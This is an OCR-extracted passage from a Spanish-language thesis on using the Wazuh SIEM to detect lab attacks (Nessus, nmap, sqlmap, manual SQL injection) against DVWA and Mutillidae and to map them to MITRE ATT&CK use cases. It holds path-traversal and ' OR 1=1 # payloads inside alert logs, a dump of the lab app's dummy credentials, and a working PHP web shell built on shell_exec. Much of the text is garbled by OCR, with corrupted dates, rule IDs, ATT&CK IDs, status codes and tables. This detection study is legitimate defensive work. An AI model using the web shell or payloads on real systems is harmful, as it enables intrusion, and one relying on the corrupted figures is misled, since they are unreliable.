598127 | full log: 172.16.16.6 - - [81/Jun/2025:20:25:09 -8568] "GET /user_settings.cfg HTTP/1.1" 4@4 491 "-" "Mozilla/4.8 (compatible; MSIE 8.9; Windows NT 5.1; Trident/4.8)" | timestamp: Jun

2025 @ 20:25:12.766 | _index: wazuh-alerts-4.x-2625.06.62

input.type: log lagent.ip: 172.16.16.28 |agent.name: MV-Apache |agent.id: 884 manager.name: wazuh-server |data.protocol: GET |data.srcip: 172.16.16.6  data.id: 484  data.url: /index.jsp%ee
x [rule.firedtimes: 53 rule.mail: false rule.level: 6  rule.pcidss: 6.5, 11.4, 6.5.1 [rule.tsc: CC6.6, CC7.1, €C8.1, CC6.1, CC6.8, CC7.2, €C7.3 | rule.description: Common web attack.
rule.groups: |web, accesslog, attack  rule.mitre.technique: Process Injection, File and Directory Discovery, Exploit Public-Facing Application rule.mitre.id: T1655, T1883, T119@
rule.mitre.tactic: Defense Evasion, Privilege Escalation, Discovery, Initial ccess rule.id:|31184  rule.nist_868_53: SA.11, SI.4 [rule.gdpr:|IV_35.7.d |location: /var/log/apache2/access.l

og  decoder.name: web-accesslog |id: 1748827512.597638 full_log: 172.16.16.6 - - [81/Jun/2825:20:25:09 -8588] "GET /index.jsp%@Bx HTTP/1.1" 484 491 "-" "Mozilla/4.8 (compatible; MSIE 8.@; W

input.type: log  agent.ip: 172.16.16.20 |agent.name: |MV-Apache |agent.id: @84  manager.name: wazuh-server |data.protocel: GET |data.srcip: 172.16.16.6 data.id: 464 data.url: /trace.axd
rule.firedtimes: 658 rule.mail:|false |rule.level: 5 rule.pci_dss: 6.5, 11.4 rule.tsc: CC6.6, CC7.1, CC8.1, CC6.1, CC6.8, CC7.2, CC7.3 rule.description: Web server 480 error code.
rule.groups: web, accesslog, attack rule.id: 31181 rule.nist_8@@_53: SA.11, SI.4 rule.gdpr: IV_35.7.d location: /var/log/apacheZ/access.log decoder.name: web-accesslog id: 1748827512,
597143 | full_log: 172.16.16.6 - - [81/Jun/2025:20:25:089 -8500] "GET /trace.axd HTTP/1.1" 484 491 "-" "Mozilla/4.8 (compatible; MSIE 8.@; Windows NT 5.1; Trident/4.8)" | timestamp: Jun 1, 2825

137
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Jun 1, 2625
¢
20:25:12,751

Jun 1, 2025
29:25:12.748

gun 1, 2625
20:25:12.746

Jun 1, 2625
¢
20:25:12,741

éun 1, 2625
29:25:12.732

input.type: log agent.ip: 172.16.16.28 |agent.name: MV-Apache agent.id: @64 manager.name: wazuh-server data.protocol: GET data.sreip: 172.16.16.6 data.id: 484 data.url: /..\\pixfir~1
\\how_to_login.html |rule.firedtimes: 648 rule.mail: false rule.level: 5 rule.pci_dss: 6.5, 11.4 rule.tsc: CC6.6, CC7.1, CC8.1, CC6.1, CC6.8, CC7.2, CC7.3 |rule.description: Web server 4
@ error code. rule.groups: web, accesslog, attack rule.id: 31101 rule.nist_80_53: SA.11, SI.4 rule.gdpr: IV_35.7.d location: /var/log/apache2/access.log decoder.name: web-accesslog
id: 1748827512.506146 full_log: 172.16.16.6 - - [81/Jun/2025:20:25:89 -B588] "GET /..\\pixfir~1\\how_to_login.html HTTP/1.1" 484 491 "-" "Mozilla/4.® (compatible; WSIE 8.8; Windows NT 5.1;
Trident/4.8)" timestamp: Jun 1, 2025 € 28:25:12.751 _index: wazuh-alerts-4.x-2025.06.02

input.type: log agent.ip: 172.16.16.28 agent.name: MV-Apache agent.id: @84 manager.name: wazuh-server data.protocol: GET data.srcip: 172.16.16.6 data.id: 464 data.url: /SiteScope/cq
i/go.exe/SiteScope?page=eventLogkamp ;machine=8amp;logName=Systendamp ;account=administrator rule.firedtimes: 647 rule.mail: false rule.level: 5 rule.pcidss: 6.5, 11.4 rule.tsc: CC6.6, C
7.1, CC8.1, CC6.1, CC6.8, CC7.2, CC7.3 rule.description: Web server 480 error code. rule.groups: web, accesslog, attack rule.id: 31181 rule.nist_886.53: SA.11, SI.4 rule.gdpr: IV_35.7.
d location: /var/log/apache?/access.log |decoder.name: web-accesslog id: 1748827512.595578 full_log: 172.16.16.6 - - [@1/Jun/2625:20:25:09 -8508] "GET /SiteScope/cgi/go.exe/SiteScope?page
=eventLogmachine=&logName=Systemdaccount=administrator HTTP/1.1" 484 491 "-" "Mozilla/4.8 (compatible; MSIE 8.8; Windows NT 5.1; Trident/4.)" timestamp: Jun 1, 2625 & 28:25:12.748

input.type: log agent.ip: 172.16.16.20 agent.name: MV-Apache agent.id: @84 manager.name: wazuh-server data.protocol: GET data.srcip: 172.16.16.6 data.id: 484 data.url: /note.txt?F_n
otini=&amp;T_note=Ramp;nomentreprise=blah&amp;filenote=../../winnt/win.ini rule firedtimes: 52 rule.mail: false rule.level: 6 rule.pci_dss: 6.5, 11.4, 6.5.1 rule.tsc: CC6.6, CC7.1, CCB.
1, CC6.1, CC6.8, CC7.2, CC7.3 rule.description: Common web attack. rule.groups: web, accesslog, attack rule.mitre.technique: Process Injection, File and Directory Discovery, Exploit Publi
c-Facing Application rule.mitre.id: T1055, T1883, 71198 rule.mitre.tactic: Defense Evasion, Privilege Escalation, Discovery, Initial Access rule.id: 31184 rule.nist_860_53: SA.11, SI.4

rule.gdpr: IV_35.7.d location: /var/log/apache2/access.log decoder.name: web-accesslog id: 1748827512.595626 full_log: 172.16.16.6 - - [81/Jun/2825:26:25:09 -0568] "GET /note.txt?F_noti
input.type: log agent.ip: 172.16.16.28 |agent.name: MV-Apache agent.id: @64 manager.name: wazuh-server data.protocol: GET data.srcip: 172.16.16.6 data.id: 464 data.url: /note.txt?F_n
otini=&amp;T_note=Ramp;nomentreprise=blah&amp;filenote=../../windows/win.ini rule.firedtimes: 51 | rule.mail: false rule.level: 6 rule.pci_dss: 6.5, 11.4, 6.5.1 rule.tsc: CC6.6, CC7.1, CC
8.1, CC6.1, CC6.8, CC7.2, CC7.3 rule.description: Common web attack. rule.groups: web, accesslog, attack rule.mitre.technique: Process Injection, File and Directory Discovery, Exploit Pub
lic-Facing Application rule.mitre.id: T1855, T1883, T1198 rule.mitre.tactic: Defense Evasion, Privilege Escalation, Discovery, Initial Access ' rule.id: 31184 rule.nist_808_53: SA.11, SI.4
rule.gdpr: ' IV_35.7.d location: /var/log/apache?/access.loq decoder.name: web-accesslog id: 1748827512.594468 full_log: 172.16.16.6 - - [B1/Jun/2625:28:25:09 -A588] "GET /note.txt?F_noti
input.type: log agent.ip: 172.16.16.20 agent.name: MV-Apache agent.id: @@4 manager.name: wazuh-server data.protocol: GET data.srcip: 172.16.16.6 data.id: 4e@ data.url: 1748309527:81
72.16.16.28/ | rule.firedtimes: 646 rule.mail: false rule.level: 5 rule.pci_dss: 6.5, 11.4 rule.tsc: CC6.6, CC7.1, CC8.1, CC6.1, CC6.8, CC7.2, CC7.3 rule.description: Web server 488 erro
r code. rule.groups: web, accesslog, attack 'rule.id: 31161 rule.nist 880_53: SA.11, SI.4 rule.gdpr: IV_35.7.d location: /var/log/apache2/access.log decoder.name: web-accesslog id: 174
8827512594820 full log: 172.16.16.6 - - [@1/Jun/2625:20:25:89 -B560] "GET 1748809527:€172.16.16.20/ HTTP/1.1" 406 483 "-" "-" timestamp: Jun 1, 2025 @ 20:25:12.732 _index: wazuh-alerts-
4.x-2825.06.62

Al tener los logs en crudo, Wazuh brinda la posibilidad de realizar filtros que permitan de

alguna manera segmentar la informacion y obtener la informacion relevante que describan al

ataque bajo la identificacion de la técnica y tactica del MITRE ATT&CK. Dos de los logs

referencian directamente al uso de una tactica Reconocimiento con una técnica de escaneo de

vulnerabilidades.
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Figura 112

Identificacion MITRE ATT&CK ataque de reconocimiento Nessus

Jun 1, 2625 21104 172.16.16.6
26:25:12 764
Jun 1, 2025 31161 172.16.16.6
;@!?5‘12 756
Jun 1, 2025 31161 172.16.16.6
20:25:12.754
ﬂu\ 1, 2025 31181 172.16.16.6
28:25:12.751
Jun 1, 2025 31101 172.16.16.6
26:25:12.748
Jun 1, 2825 31104 172.16.16.6
26:25:12.746
Jun 1, 2625 31164 172.16.16.6
;@!?5‘12 m
Jun 1, 2025 31161 172.16.16.6
20:25:12.732
ﬂu\ 1, 2025 31181 172.16.16.6
20:25:12.722
Jun 1, 2e25 31165 172.16.16.6
26:25:12.719
Jun 1, 2825 31167 172.16.16.6
;@!25‘12 m
Jun 1, 2025 31161 172.16.16.5
20:25:12.769
Jun 1, 2825 31167 172.16.16.6
20:25:12.786
ﬂu\ 1, 2025 31167 172.16.16.6
28:25:12..761

31166 172.16.16.6

Jun 1, 2025
26:25:12.699

172.16.16.28

172.16.16.28

172.16.16.28

172.16.16.28

172.16.16.28

172.16.16.28

172.16.16.28

172.16.16.28

172.16.16.28

172.16.16.28

172.16.16.28

172.16.16.28

172.16.16.28

172.16.16.28

172.16.16.28

Common web attack.

Web server 488 error

code

Web server 488 error

Web server 408 error code
Web server 498 error
Common web attack.
Common web attack.
code

Web server 488 error

Web server 488 error code

XSS (Cross Site Scripting)

Shellshock attack attempt

Web server 488 error code.

Shellshock attack attempt

Shellshock attack attempt

shellshock attack attempt

code.

code.

attempt.

T1855,

T1855,

T1855,

T1859.

T1868,

Tiese,

T1868,

T1e6s,

Tiees,

T1883,

Ties3,

T1198

T1198

T11%8

T1198

T1198

T1198

Defense Evasion, Privilege Escalati
on, Discovery, Initial Access

Defense Evasion, Privilege Escalati
on, Discovery, Initial Access

Defense Evasion, Privilege Escalati
on, Discovery, Initial Access

Execution

Privilege Escalation, Initial Acces
Privilege Escalation, Initial Acces
Initial Acces

Privilege Escalation,

Privilege Escalation, Initial Acces

Process
covery,

Process
covery,

Process

Injection, File and Directory Dis
Exploit Public-Facing Application

TInjection, File and Directory Dis
Exploit Public-Facing Application

Injection, File and Directery Dis

covery, Exploit Public-Facing Application

JavaScript

Explantation for Privilege Escalation,

ploit Public-Facing Application

E{plol[atlmw for Privilege Escalation,
P

0it Public-Facing Application

Eiplonaunn for Privilege Escalation,
P

0it Public-Facing Application

Exploitation for Privilege Escalation,

ploit Public-Facing Application

Nota: En la presente figura se visualiza datos similares con la particularidad que los logs

referencian al uso de una tactica Execution, Elevacion de privilegios y acceso inicial con técnicas

de explotacion para escala de privilegios, aplicacion de exploit Public-Facing.

Mediante el analisis de logs historicos capturados por el SIEM Wazuh, se puede

identificar el ID, la tactica y técnica segun el MITRE ATT&CK cuando un ciberdelincuente usa

un ataque de reconocimiento o descubrimiento para conocer las vulnerabilidades de la maquina

objetivo. En este caso particular y tomando en cuenta que un ciberdelicuente puede aprovechar

una débil aplicacion de reglas de filtrado de red, el alertamiento del SIEM si permite detectar y

neutralizar una APT a tiempo. En cualquier SIEM y especialmente en Wazuh se puede establecer

como caso de uso de un posible ataque descubrimiento las siguientes tacticas y técnicas del

MITRE ATT&&CK:
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Tabla 29

Caso de uso segun MITRE ATT&CK ataque reconocimiento

ID Rule Mitre Rule description Tactica Mitre Técnica Mitre
ATT&CK ATT&CK ATT&CK
Multiple web server Reconnaissance Vulnerability Scanning
T1595.002 400 error codes from
same source ip.
Defense Evasion, Process Injection, File
T1055, T1083, PriYilege Escalflt‘ion, .and Directory ‘
T1190 Common web attack. Discovery, Initial Discovery, Exploit
Access Public-Facing
Application
T1059.007 XSS (Cross Site Execution JavaScript

Scripting) attempt.

3.6.3.3. Ataque Escaneo con NMAP a un Sistema Operativo. El uso de NMAP es una
de las principales herramientas utilizadas por ciberdelincuentes para realizar recopilacion de
informacion sobre una red o sistema operativo. Ademas, de ser el proceso inicial que muchas
campafias APT ejecutan para buscar identificar puertos abiertos y servicios vulnerables. Bajo este
contexto, se simula un ataque mediante nmap para identificarlo de forma temprana mediante el
SIEM Wazuh. Para la simulacion de dicho ataque se describe a continuacion los datos tanto de la
maquina atacante como la maquina que recibira el ataque para la recoleccion de logs.
Tabla 30

Datos de la maquina atacante y la maquina objetivo

IP Origen Hostname Sistema Operativo

Maquina Atacante 172.16.16.6 Parrot Parrot Security 6.3

Maquina Objetivo 172.16.16.20 MV-Apache Debian GNU/LINUX 12
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El resultado de la ejecucion del comando nmap para realizar un escaneo de puertos hacia
el hostname MV-Apache. En el mismo, se puede visualizar el puerto 22 y 80 abiertos para los

servicios ssh y http correspondientemente.

Figura 113

Escaneo de puerto abiertos con NMAP

Una vez ejecutado el ataque se verifican las alertas recibidas en el SIEM Wazuh. Al ser un
escaneo a un equipo servidor el SIEM recepto un total de 262 eventos, de los cuales se destacan
los siguientes:

Figura 114

Alertas recibidas ataque de reconocimiento o descubrimiento con NMAP

3““ 1, 225 input.type: log agent.ip: 172.16.16.20 agent.name: MV-Apache agent.id: 884 manager.name: wazuh-server  data.protocol: POST  data.srcip: 172.16.16.6

?5:%:37‘752 data.id: 404 data.url: /sdk rule.firedtimes: 5 rule.mail: false rule.level: 5 rule.pci_dss: 6.5, 11.4 rule.tsc: CC6.6, CC7.1, CC8.1, CC6.1, CC6.8,
CC7.2, CC7.3 rule.description: Web server 46@ error code. rule.groups: web, accesslog, attack rule.id: 31181 rule.nist_860_53: SA.11, SI.4
rule.gdpr: IV_35.7.d location: /var/log/apache2/access.log decoder.name: web-accesslog id: 1748868217.39716 full_log: 172.16.16.6 - - [81/Jun/2025:1
5:03:35 -8508] "POST /sdk HTTP/1.1" 404 454

"Mozilla/5.8 (compatible; Nmap Scripting Engine; https://nmap.org/book/nse.html)” timestamp: Jun 1, 20825
> é“" 1, 2025 input.type: log agent.ip: 172.16.16.20 agent.name: MV-Apache agent.id: 064 manager.name: wazuh-server data.protocol: GET data.srcip: 172.16.16.6
15:63:37.749 data.id: 404 data.url: /.git/HEAD rule.firedtimes: 4 rule.mail: false rule.level: 5 rule.pci dss: 6.5, 11.4 rule.tse: CC6.6, CC7.1, CC8.1, CC6.1, C
C6.8, CC7.2, CC7.3 rule.description: Web server 480 error code. rule.groups: web, accesslog, attack rule.id: 31101 rule.nist_866_53: SA.11, SI.4
rule.gdpr: IV_35.7.d location: /var/log/apache2/access.log decoder.name: web-accesslog id: 1748868217.39214 full_log: 172.16.16.6 - - [81/Jun/2025:1
5:83:35 -8500] "GET /.git/HEAD HTTP/1.1" 484 454 "-" "Mozilla/5.8 (compatible; Nmap Scripting Engine; https://nmap.org/book/nse.html)" timestamp: Jun 1,

> é“" 1, 2025 input.type: log agent.ip: 172.16.16.20 agent.name: MV-Apache agent.id: 064 manager.name: wazuh-server data.protocol: PROPFIND data.srcip: 172.16.1

15:83:37.746 4 g data.id: 405 data.url: / rule.firedtimes: 3 rule.mail: false rule.level: 5 rule.pci_dss: 6.5, 11.4 rule.tsc: CC6.6, CC7.1, CC8.1, CC6.1, CC6.8,
CC7.2, CC7.3 rule.description: Web server 400 error code. rule.groups: web, accesslog, attack rule.id: 31101 rule.nist_860_53: SA.11, SI.4

rule.gdpr: IV_35.7.d location: /var/log/apache2/access.log  decoder.name: web-accesslog id: 1748868217.38716 full_log: 172.16.16.6 - - [81/Jun/2025:1

5:83:35 -8588] "PROPFIND / HTTP/1.1" 485 522 "-" "Mozilla/5.8 (compatible; Nmap Scripting Engine; https://nmap.org/book/nse.html)" timestamp: Jun 1, 282

i““ 1, 2825 input.type: log agent.ip: 172.16.16.20 agent.name: MV-Apache agent.id: 884 manager.name: wazuh-server  data.protocol: PROPFIND data.srcip: 172.16.1

15:83:37.742 6.6 data.id: 405 data.url: / [rule.firedtimes: 2 rule.mail: false rule.level: 5 rule.pci_dss: 6.5, 11.4 rule.tsc: CC6.6, CC7.1, CC8.1, CC6.1, CC6.8,
CC7.2, CC7.3 rule.description: Web server 460 error code. rule.groups: web, accesslog, attack rule.id: 31181 rule.nist_868_53: SA.11, SI.4
rule.gdpr: IV_35.7.d location: /var/log/apache2/access.log decoder.name: web-accesslog 1id: 1748868217.38218 full_log: 172.16.16.6 - - [81/Jun/2025:1
5:83:35 -08500] "PROPFIND / HTTP/1.1" 485 522 "-" "Mozilla/5.8 (compatible; Nmap Scripting Engine; https://nmap.org/book/nse.html)” timestamp: Jun 1, 202

g““ 1, 2025 input.type: log agent.ip: 172.16.16.20 agent.name: MV-Apache agent.id: 884 manager.name: wazuh-server data.protocol: GET data.sreip: 172.16.16.6

data.id: 404 data.url: /nmaplowercheck1748790233 rule.firedtimes: 1 rule.mail: false rule.level: 5 rule.pci_dss: 6.5, 11.4 rule.tsc: CC6.6, CC7.1,
CC8.1, CC6.1, CC6.8, CC7.2, CC7.3 rule.description: Web server 488 error code. rule.groups: web, accesslog, attack rule.id: 31181 rule.nist_80@_53: S
A.11, SI.4 rule.gdpr: IV_35.7.d location: /var/log/apache2/access.log decoder.name: web-accesslog id: 1748808217.37701 full_leg: 172.16.16.6 - - [0
1/Jun/2025:15:03:35 -0500] "GET /nmaplowercheck1748790233 HTTP/1.1" 484 454 "-" "Mozilla/5.@ (compatible; Nmap Scripting Engine; https://nmap.org/book/ns

15:03:37.737
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Al tener los logs en crudo, Wazuh brinda la posibilidad de realizar filtros que permitan de
alguna manera segmentar la informacion y obtener la informacion relevante que describan al
ataque bajo la identificacion de la técnica y tactica del MITRE ATT&CK. En los logs se
visualiza un error 400 que se produce mientras se realiza el escaneo mediante NMAP, al filtrar
los campos de interés en Wazuh no se detecta, identifica o correlaciona el evento con una tactica
o técnica del MITRE ATT&CK. Sin embargo, asocia los logs con el grupo web, Access log,
attack que de alguna manera alerta una actividad inusual y sospechosa como se muestra
acontinuacion:
Figura 115

Identificacion error 400 del ataque reconocimiento con NMAP

rule.id data.sreip agent.1p rule.mitre.id rule.description rule.mitre. tactic rule.mitre. technique

31101 172.16.16.6 172.16.16.28 - Web server 488 error code.

31101 172.16.16.28 - Web server 489 erro

3101 172.16.16.28 - Web server 488

iz 172.16.16.28 b server 501

anen 172.16.16.28
31101 172.16.16.28
e 172.16.16.28
31101 172 172.16.16.28

301 172.16.16.6 172.16.16.20

31101 172 172.16.16.28

Mediante el anélisis de logs historicos capturados por el SIEM Wazuh, se puede asociar
el grupo web, Access log, attack para definir el ID, la tactica y técnica como un caso de uso
basado en MITRE ATT&CK. Asi de esta manera, cuando un ciberdelincuente usa un ataque de
reconocimiento o descubrimiento para conocer puertos, protocolo y sus versiones vulnerables de
la maquina objetivo se produzca un alertamiento del SIEM con lo cual se podria detectar y
neutralizar un intento de APT a tiempo. En cualquier SIEM y especialmente en Wazuh se puede
establecer como caso de uso de un posible ataque descubrimiento las siguientes tacticas y

técnicas del MITRE ATT&&CK:
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Tabla 31

Caso de uso segun MITRE ATT&CK ataque reconocimiento NMAP

ID Rule Mitre Rule describtion Tactica Mitre Técnica Mitre
ATT&CK " pH ATT&CK ATT&CK
Multiples Web server Reconnaissance Vulnerability Scanning

T1595.002 400 error codes from
same source ip.

3.6.3.4. Ataque Inyeccion SQLMap a una Aplicacion Web. SQLMap permite al
ciberdelincuente explotar vulnerabilidades de inyecciones SQL en aplicaciones web cuando en el
desarrollo existen falencias como una no validacion de entradas y configuraciones inseguras en
las bases de datos. Ademas, este es un proceso que muchas campanas APT ejecutan para buscar
identificar acceder y extraer datos sensibles, manipular datos o escalar privilegios. Bajo este
contexto, se simula un ataque mediante SQLMap para identificarlo de forma temprana mediante
el SIEM Wazuh. En el servidor apache se instalan y configuran las aplicaciones web DVWA y
Mutillidae para que permitan ejecutar pruebas de concepto con los cuales se puedan identificar
casos de uso de posibles APT mediante el SIEM Wazuh. Para la simulacion de dicho ataque se
describe a continuacion los datos tanto de la maquina atacante como la maquina que recibira el
ataque para la recoleccion de logs.
Tabla 32

Datos de la maquina atacante y la maquina objetivo

IP Origen Hostname Sistema Operativo

Maquina Atacante 172.16.16.6 Parrot Parrot Security 6.3

Maquina Objetivo 172.16.16.20 MV-Apache Debian GNU/LINUX 12
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Se realiza la ejecucion del comando sqlmap que permite realizar ejecutar exploits para
identificar bases de datos e intentar el acceso a sus datos.

Figura 116

Ejecucion ataque de SOQLMap

Una vez ejecutado el ataque se verifican las alertas recibidas en el SIEM Wazuh
Figura 117

Visualizacion de logs receptados del ataque de inyeccion SQLMap

Time rule.id data.srcip agent.ip rule.mitre.id rule.description rule.mitre.tactic rule.mitre.technique

May 2, 2025 31106 172.16.16.6 172.16.16.20 T1198 A web attack returned co Initial Access Exploit Public-Facing Appl
@ de 288 (success) ication

12:26:37.545

May 2, 2025 31106 172.16.16.6 172.16.16.20 T1190 A web attack returned co Initial Access Exploit Public-Facing Appl
[} de 2088 (success). ication

12:26:37.543

May 2, 2025 31106 172.16.16.6 172.16.16.20 T1190@ A web attack returned co Initial Access Exploit Public-Facing Appl
@ de 200 (success). ication

12:26:37.541

May 2, 2825 31106 172.16.16.6 172.16.16.28 T1198 A web attack returned co Initial Access Exploit Public-Facing Appl
[ de 200 (success). ication

12:26:37.538

May 2, 2625 31106 172.16.16.6 172.16.16.20 T1198 A web attack returned co Initial Access Exploit Public-Facing Appl
@ de 288 (success) ication

12:26:37.538

May 2, 2625 31166 172.16.16.6 172.16.16.20 T1198 A web attack returned co Initial Access Exploit Public-Facing Appl
@ de 288 (success) ication

12:26:35.567

May 2, 2825 31106 172.16.16.6 172.16.16.20 T1198 A web attack returned co Initial Access Exploit Public-Facing Appl
@ de 288 (success) ication

12:26:35.564

May 2, 2025 31186 172.16.16.6 172.16.16.20 T1198 A web attack returned co Initial Access Exploit Public-Facing Appl
[} de 2088 (success). ication

12:26:35.561

May 2, 2025 31106 172.16.16.6 172.16.16.20 T1190@ A web attack returned co Initial Access Exploit Public-Facing Appl
@ de 2080 (success). ication

12:26:35.559

May 2, 2825 31106 172.16.16.6 172.16.16.28 T1198 A web attack returned co Initial Access Exploit Public-Facing Appl
[ de 200 (success). ication

12:26:35.557

May 2, 2625 31106 172.16.16.6 172.16.16.20 T1198 A web attack returned co Initial Access Exploit Public-Facing Appl
@ de 288 (success) ication

12:26:35.554
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Mediante el analisis de logs historicos capturados por el SIEM Wazuh, se puede

identificar el ID, la tactica y técnica segin el MITRE ATT&CK cuando un ciberdelincuente usa

un sqlmap para intentar acceder a la informacion de bases de datos. En este caso particular y

tomando en cuenta que un ciberdelicuente puede aprovechar vulnerabilidades en la base de datos

hasta conseguir el acceso, el alertamiento del SIEM si permite detectar y neutralizar una APT a

tiempo. En cualquier SIEM y especialmente en Wazuh se puede establecer como caso de uso de

un posible ataque de fuerza bruta la siguiente tactica y técnica del MITRE ATT&&CK:

Tabla 33

Caso de uso segun MITRE ATT&CK ataque reconocimiento SOQLMap

ID Rule Mitre Rule description Tactica Mitre Técnica Mitre
ATT&CK ATT&CK ATT&CK
Multiples Web server Initial Access Exploit Public-Facing
T1190 400 error codes from Application

same source ip.

3.6.3.5. Ataque Inyeccion SQL a una Aplicacion Web. Un ciberdelincuente siempre
estara al acecho para identificar vulnerabilidades en aplicaciones web y poner a prueba el
desarrollo seguro, en especifico una de las vulnerabilidades mas comunes es la verificacion de
validacion de entrada de datos. Para la simulacion de dicho ataque se describe a continuacion los
datos tanto de la maquina atacante como la maquina que recibira el ataque para la recoleccion de

logs.
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Tabla 34

Datos de la maquina atacante y la maquina objetivo

IP Origen Hostname Sistema Operativo

Maquina Atacante 172.16.16.6 Parrot Parrot Security 6.3

Miaquina Objetivo 172.16.16.20 MV-Apache Debian GNU/LINUX 12

El ataque inyeccion SQL puede lograrse en base a la siguiente prueba de concepto, donde
en la Aplicacion Web Multillidae se ingresa una verdad absoluta como ¢ OR 1=1 # para verificar
la existencia de la vulnerabilidad de validacion de entradas.

Figura 118

Ejecucion ataque inyeccion SOL al aplicativo Web Multillidae

€ ¢ A Noesseguro  172.16.16.20/mutillidae/src/index php?page=login.php&redirectPage=user-info.php
88 [ python [ Ciberseguridad  [J Bl [J Maestia [ PBO [ Normativas [ Redes [ Pentester [ Cloud @) ChatGPT = Normas APA-7ma.. [ Certificaciones

@3 OWASP Mutillidae II: Keep Calm and Pwn On

Version: 2.12.3  Security Level: 0 (Hosed) Hints: Enabled Not Logged In
Home | Login/Register | Toggle Hints | Toggle Security | Enforce TLS | Reset DB | View Log | View Captured Data

[ Login
@
Hints and Videos
[ = =+ { Please signin )
tebs 4 Username 'OR1=1#

Password E—

».Donate Today! Dont have an account? Please register here

Want to Help?

Video Tutorials

»

Announcements

=

Getting Started

Browser: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36
PHP Version: 8.2.28
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Figura 119

Resultados del ataque inyeccion SQL a la Aplicacion Web Multillidae

€ G ANoesseguo  172.16.16.20/mutillidae/src/index php?page=user-info.php&username =327 +OR + 1%3D1 + %23 &password =8user-info-php-submit-button=View+ Account + Details o W
88 | [0 Pyhon [ Ciberscguidad [3 B (3 Maestio (3 PBD (3 Mommetivas [ Redes [J Pentester 3 Clovd (@ ChatGPT Nomas APA-Tma.. [ Cenificaciones 3 TC5 [ Tivladon [ Administraciond|
Video Tutorials Dont have an aceount? Please register here
‘ [ Results for * OR 1=1 #". 40 records found.
First Name: System
Last Name:
Usermame: admin
ﬁ Password: adminpass
Signature: g0t r001?
Getting Started fient 10: 1
Cii 15c2e 381e89a7382c82510c960430

First Name: Adrian
Last Name: Crenshaw

Username: adrian

Password: somepassward

ymbie Films Rock!

d 'cTacel7177da6b600aBcnf67 37891

Client Secret: 6b741b7077bSaabdcl 1019

First Name: Palches
Last Name: Pester
Usemame: patches
Password: lorloise

Signature: meaw
Cllent ID: 317e7bSe234dc4el 44e07a00e9103128
Client Secret: a144fa60aac7ar43aal71b5ec5ea33d111efdd912657c301979M1a315a21290

First Name: Jeremy
Last Name: Druin

Usemame: jeremy

Password: password

Signature: 1373 1337 speak

Client ID: b96d92d5851180ed9816a57086cch 780
h

1b500f143695010a781995c742

First Name: Bryce

Last Name: Galbraith
Username: tryce
Password: password
Signature: | Love SANS

Una vez ejecutado el ataque se comprueba la existencia de la vulnerabilidad de
inexistencia de validacion de entradas se verifican las alertas recibidas en el SIEM Wazuh.
Figura 120

Visualizacion de logs recibidos del ataque de inyeccion SQL

Time _source

Jun 1, 2025 |ynput.type: |log lagent.ip: 172.16.16.28 |agent.name: MV-Apache |agent.id: 604  manager.name: wazuh-server  data.protocol: GET |data.srcip:|172.16.16.4 (data.id: 200 data.url:

20:58:27.189 o phpgamp;username=%27+0R+1%3D1+%23&anp ;password=gamp; user-info-php-submit-but ton=ViewtAccount+Details | rule.firedtimes: | 1 |rule.mail:|false rule.level:|6  rule.pci_dss: 6.5, 11.4, 6.5.1
8.1, CC6.1, CC6.8, CC7.2, CC7.3 |rule.deseription: SQL injection attempt. rule.groups:|web, accesslog, attack, sqlinjection, attack |rule.mitre.technique: Process Injection, Exploit Public-Fi
rule.mitre.id: T1855, T1198 rule.mitre.tactic: Defense Evasion, Privilege Escalation, Initial Access rule.id: 31164  rule.nist _886_53: SA.11, SI.4 rule.gdpr: IV_35.7.d location: /var/log,
decoder .name: | web-accesslog |id: 1748829507.613744 |full_log: 172.16.16.4 - - [@1/Jun/2825:20:58:23 -8508] "GET /mutillidae/src/index.php?page=user-info.php&username=%27+0R+1%3D1+%23&passwor

Figura 121

Identificacion MITRE ATT&CK ataque de inyeccion SQL.

Time rule.id data.sreip agent.ip rule.description rule.mitre. id rule.mitre.tactic rule.mitre. technique
Jun 1, 2825 31164 172.16.16.4 172.16.16.20 SQL injection attempt. T1855, T1198 Defense Evasion, Privilege Escalati Process Injection, Exploit Public-Facing

e on, Initial Accéss Application
20:58:27.189

Mediante el andlisis de logs historicos capturados por el SIEM Wazuh, se puede

identificar el ID, la tactica y técnica segiin el MITRE ATT&CK cuando un ciberdelincuente usa
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un ataque de inyeccion SQL para intentar acceder a la informacion de bases de datos. En este
caso particular y tomando en cuenta que un ciberdelicuente puede aprovechar vulnerabilidades
en la base de datos hasta conseguir el acceso, el alertamiento del SIEM si permite detectar y
neutralizar una APT a tiempo. En cualquier SIEM y especialmente en Wazuh se puede establecer
como caso de uso de un posible ataque de fuerza bruta la siguiente tactica y técnica del MITRE
ATT&&CK:
Tabla 35

Caso de uso segun MITRE ATT&CK ataque inyeccion SOL

ID Rule Mitre Rule description Tactica Mitre Técnica Mitre
ATT&CK ATT&CK ATT&CK
Multiples Web server Initial Access Exploit Public-Facing
T1190 400 error codes from Application

same source ip.

3.6.3.6. Ataque Shell Reverso a una Aplicacion Web. Otra de las alternativas que tienen
las campanias APT es el intento de acceso al sistema por medio de un shell reverso, para lo cual,
¢l atacante utiliza una serie de técnicas para obtener acceso remoto a un servidor comprometido.
Para la simulacion de dicho ataque se describe a continuacion los datos tanto de la maquina
atacante como la maquina que recibira el ataque para la recoleccion de logs.
Tabla 36

Datos de la maquina atacante y la maquina objetivo

IP Origen Hostname Sistema Operativo

Maquina Atacante 172.16.16.6 Parrot Parrot Security 6.3

Maquina Objetivo 172.16.16.20 MV-Apache Debian GNU/LINUX 12
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Para aplicar un método de este tipo, desde la aplicaciéon web Mutilidae alojada en el
servidor objetivo se inicia la conexion mediante la carga de un archivo .php malicioso hacia el
equipo atacante, como se visualiza a continuacion:
Figura 122

Codigo generado para ejecucion de shell reverso

<form action="" method="post" enctype="application/x-www-form-urlencoded":>
<table>
<tr>
<td colspan="2">Introduce comandoc del sistema</td:>
</tr>
<tr>
<td>Comando</td>
<tds<input type="text" name="Comando"></td>
</tr>
<tr>
<td colspan="2"><input type="submit" valus="Ejecuta comando"></td>
</tr>
</table>
</ form>
<?php
echo "<pre>";
echo shell exec($ REQUEST["Comando"]):;
echo "</pre>";
2>

Para la ejecucion del ataque de Shell reverso se realiza la del archivo .php a la aplicacion
web Multillidae, adicional en la URL del aplicativo web se cambia la ruta en la cual se renderiza
el formulario para realizar la ejecucion de comandos con los cuales se pueda obtener informacion

del sistema operativo y de esta manera volverlo atin més vulnerable.
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Figura 123

Carga de archivo y cambio URL a la aplicacion web Multillidae

